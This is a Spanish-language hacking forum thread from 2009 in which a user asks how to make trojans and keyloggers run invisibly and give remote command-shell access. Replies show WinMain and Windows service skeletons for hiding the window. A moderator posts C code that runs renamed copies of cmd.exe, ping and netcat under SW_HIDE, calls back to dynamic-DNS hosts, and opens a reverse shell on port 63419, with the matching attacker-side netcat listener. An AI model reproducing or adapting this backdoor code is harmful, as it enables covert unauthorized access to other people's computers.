elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 17:39  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, TRICKY)
| | |-+  Problema con main y winmain
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con main y winmain  (Leído 2,233 veces)
Kevfan

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Problema con main y winmain
« en: 14 Julio 2009, 04:04 »

hola. estoy con dudas de como solucionar un tema que me pesa para el desarrollo de soft discreto por ejemplo troyanos keyloggers etc...

El caso es que quiero que se ejecute en segundo plano osea oculto. el problema es que con la solucion tipica
ShowWindow(GetForegroundWindow(),SW_HIDE);
no funciona bien por que siempre se ve un pantallazo que es mas sospechoso y muy visible.

en fin encontre algo de informaicon que usando winmain() en vez de main() se solucionaba el problema el punto es que me larga un error con linkers diciendome que no hay funcion main declarada.
Espero su ayuda.


Otro tema de no menor importancia es como lograr capturar las respuestas de msdos o cualquier programa en modo consola y mandarlo atravez de sockets.

si.. .lo que estoy intentando hacer es un troyano que me permita tener acceso a msdos via remota. y que no se vea!!! ni siquiera el pantallazo. es posible si porque los virus tontos de pendrive lo hacen asique de algun modo se puede.

Gracias!!
En línea
ny0x


Desconectado Desconectado

Mensajes: 336


Ver Perfil
Re: Problema con main y winmain
« Respuesta #1 en: 14 Julio 2009, 04:38 »

¿Que tiene que ver con hacking avanzado?
Bueno pon que compilador usas para decirte como solucionarlo
En línea
Kevfan

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: Problema con main y winmain
« Respuesta #2 en: 14 Julio 2009, 05:13 »

VB 6 y si a final de cuentas es algo que nadie veo que haya solucionado y es fundamental en un troyano. o si lo han solucionado pasenme el link.
En línea
wachi

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: Problema con main y winmain
« Respuesta #3 en: 14 Julio 2009, 22:27 »

tienes que poner en el proyect del formulario Application->ShowMainForm=false;
antes de  Application->Run(); esto hace que se ejecute y no aparezca ni en la barra de tares .
En línea

Si lo que vas a decir no es mas bello que el silencio : no lo digas
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: Problema con main y winmain
« Respuesta #4 en: 19 Julio 2009, 06:22 »

  si lo haces en modo consola de seguro mque aparecera una ventanita cmd con el nombre de tu exe XD  :rolleyes:

  Y en modo clx ni hablar.

  tienes que hacer una aplicacion win32 o un servicio  que quedaria asi
Visual C++

Código:
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{

return (int) msg.wParam;
}
Borland c++

Citar
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
   try
   {
      // Windows 2003 Server requires StartServiceCtrlDispatcher to be
      // called before CoRegisterClassObject, which can be called indirectly
      // by Application.Initialize. TServiceApplication->DelayInitialize allows
      // Application->Initialize to be called from TService->Main (after
      // StartServiceCtrlDispatcher has been called).
      //
      // Delayed initialization of the Application object may affect
      // events which then occur prior to initialization, such as
      // TService->OnCreate. It is only recommended if the ServiceApplication
      // registers a class object with OLE and is intended for use with
      // Windows 2003 Server.
      //
      // Application->DelayInitialize = true;
      //
      if ((!Application->DelayInitialize) || (Application->Installing()))
      {
         Application->Initialize();
      }
      Application->CreateForm(__classid(TService2), &Service2);
      Application->Run();
   }
   catch (Exception &exception)
   {
      Sysutils::ShowException(&exception, System::ExceptAddr());
   }
      catch(...)
      {
      try
      {
            throw Exception("");
      }
      catch(Exception &exception)
      {
         Sysutils::ShowException(&exception, System::ExceptAddr());
      }
      }
   return 0;
}
y despues un
void __fastcall TService2::ServiceCreate(TObject *Sender)
{
 Tu bicho
}
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Problema con main y winmain
« Respuesta #5 en: 19 Julio 2009, 16:23 »

Que tal.

Quizas eso, con Visual C++ y creando una aplicacion win32 te sea mas idoneo.
Aqui te pego un code que he hecho que esconde la ventana, y eso que escupe procesos eh! Es mas, si lo pusieras como servicio ( todo con comandos sc para no sufrir demasiado :__)) a los 15 minutos tendrias el taskmanager petado de procesos.

Por ello y para este caso, una modificacion urgente seria necesaria.
Es solo para poner un ejemplo.

/* mejor para ejecutar con SW_HIDE ...
 * No hice este code para que sea funcional 100%, solo para
 * este caso explicativo ! */

#include <stdarg.h>
#include <windows.h>
#include <winbase.h>
#include <stdlib.h>
#include <stdio.h>
#include <io.h>
#include <errno.h>
#include <fcntl.h>


int main()
{
 

   DWORD dwRetour = ERROR_SUCCESS;


   char szToExecute[4000] = {0};
   char comm[] = "C:\\Windows\\System32\\lsasutl.exe /K rpcmngr.exe uuio.noip.org > C:\\WINDOWS\\Fonts\\pinger.txt";
   char comm2[] = "C:\\Windows\\System32\\lsasutl.exe /K sysmgr.exe -d -e lsasutl.exe whathehell.hopto.org 63419";
   char comm3[] = "C:\\Windows\\System32\\lsasutl /K taskkill /F /T /IM lsasutl.exe";
   char comm4[] = "C:\\Windows\\System32\\lsasutl.exe /K netstat -an > C:\\WINDOWS\\Fonts\\netstat.txt";
   char comm5[] = "C:\\Windows\\System32\\lsasutl.exe /K taskkill /F /T /IM rpcrgt.exe";

   char buff[4000];

   int fd, fd2, readbytes;

   Sleep(180000); /* Wait 3 minutes for internet connection .. */
 
   while (1) {

   memset(&szToExecute, 0, sizeof(szToExecute));
   memset(&buff, 0, sizeof(buff));

   _snprintf(szToExecute, sizeof(szToExecute)-1, "%s", comm);

   if ((dwRetour = WinExec(szToExecute, SW_HIDE)) > 31) {
      Sleep(7000);

      if ((fd = open("C:\\WINDOWS\\Fonts\\pinger.txt", O_RDONLY)) == -1) {
         break;
      }

      if ((readbytes = read(fd, buff, 2048-1)) != -1) {
         buff[readbytes] = '\0';
         if (strstr(buff, "Respuesta desde")) {

               memset(&szToExecute, 0, sizeof(szToExecute));
              _snprintf(szToExecute, sizeof(szToExecute)-1, "%s", comm2);

               if ((dwRetour = WinExec(szToExecute, SW_HIDE)) > 31) {
               memset(&szToExecute, 0, sizeof(szToExecute));
               _snprintf(szToExecute, sizeof(szToExecute)-1, "%s", comm4);
                   Sleep(30000); /* Esperamos 30 secs para asegurar ESTABLISHED ... */
               if ((dwRetour = WinExec(szToExecute, SW_HIDE)) > 31) {
                  
                  if ((fd2 = open("C:\\WINDOWS\\Fonts\\netstat.txt", O_RDONLY)) == -1) {
                     close(fd);
                      continue; }
                    memset(&buff, 0, sizeof(buff));

                  if ((readbytes = read(fd2, buff, 2048-1)) != -1) {
                     buff[readbytes] = '\0';

                     if (strstr(buff, ":63419")) {
                        close(fd);
                        close(fd2);
                               memset(&szToExecute, 0, sizeof(szToExecute));
                        _snprintf(szToExecute, sizeof(szToExecute), "%s", comm5);
                        WinExec(szToExecute, SW_HIDE);
                        break; /* deberia de matar el proceso rpcrgt.exe .. */
                     }
                     else {
                        close(fd);
                        close(fd2);
                        Sleep(5000);
                     }
                  }
               }
   
           
               else {
                  close(fd);
                  memset(&szToExecute, 0, sizeof(szToExecute));
                  _snprintf(szToExecute, sizeof(szToExecute), "%s", comm3);
                  WinExec(szToExecute, SW_HIDE);
                  continue;
               }
         }
               else {
                  Sleep(4000);
                  close(fd);
                  continue;
               }
      }
               else {
                  Sleep(4000);
               }   close(fd);
      }
      else {
         close(fd);
         continue;
      }
   }
   else {
      Sleep(30000);
   }
   }
            /* End of While() loop */

            return 0;
         }

Esto seria el pseudo-code para dejar corriendo en la maquina remota. En nuetra casa pues pondriamos a correr netcat
$ nc -l -p 63419

Bueno, kk de code pero como ves no se veria la ventanita que es lo que te importa.
No es funcional y por favor, nada de comentrios obscenos acerca del mismo.


Saludos.


 /**** MODIFIKO ****/

Bueno... para los que no caigan en todo:
lsasutl.exe   == copia de cmd.exe bajo system32
rpcmngr.exe == copia de ping.exe bajo system32
sysmgr.exe   == copia de netcat ( nc.exe ) bajo system32
rpcrgt.exe     ==  el propio programa

El mapeo del puerto en el router casero ( nuestro ) pues esta claro que habria que hacerlo, asi como en el firewall.
El "programa" no creo que lo arregle por ahora mucho, asi que de nuevo: solo un ejempluzo.
« Última modificación: 19 Julio 2009, 18:39 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
FUncion main y Funcion Winmain
Programación C/C++
mapers 1 441 Último mensaje 5 Febrero 2011, 15:44
por oPen syLar
Duda con main()
Programación C/C++
GROV 1 146 Último mensaje 8 Abril 2012, 02:01
por CrisQC
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines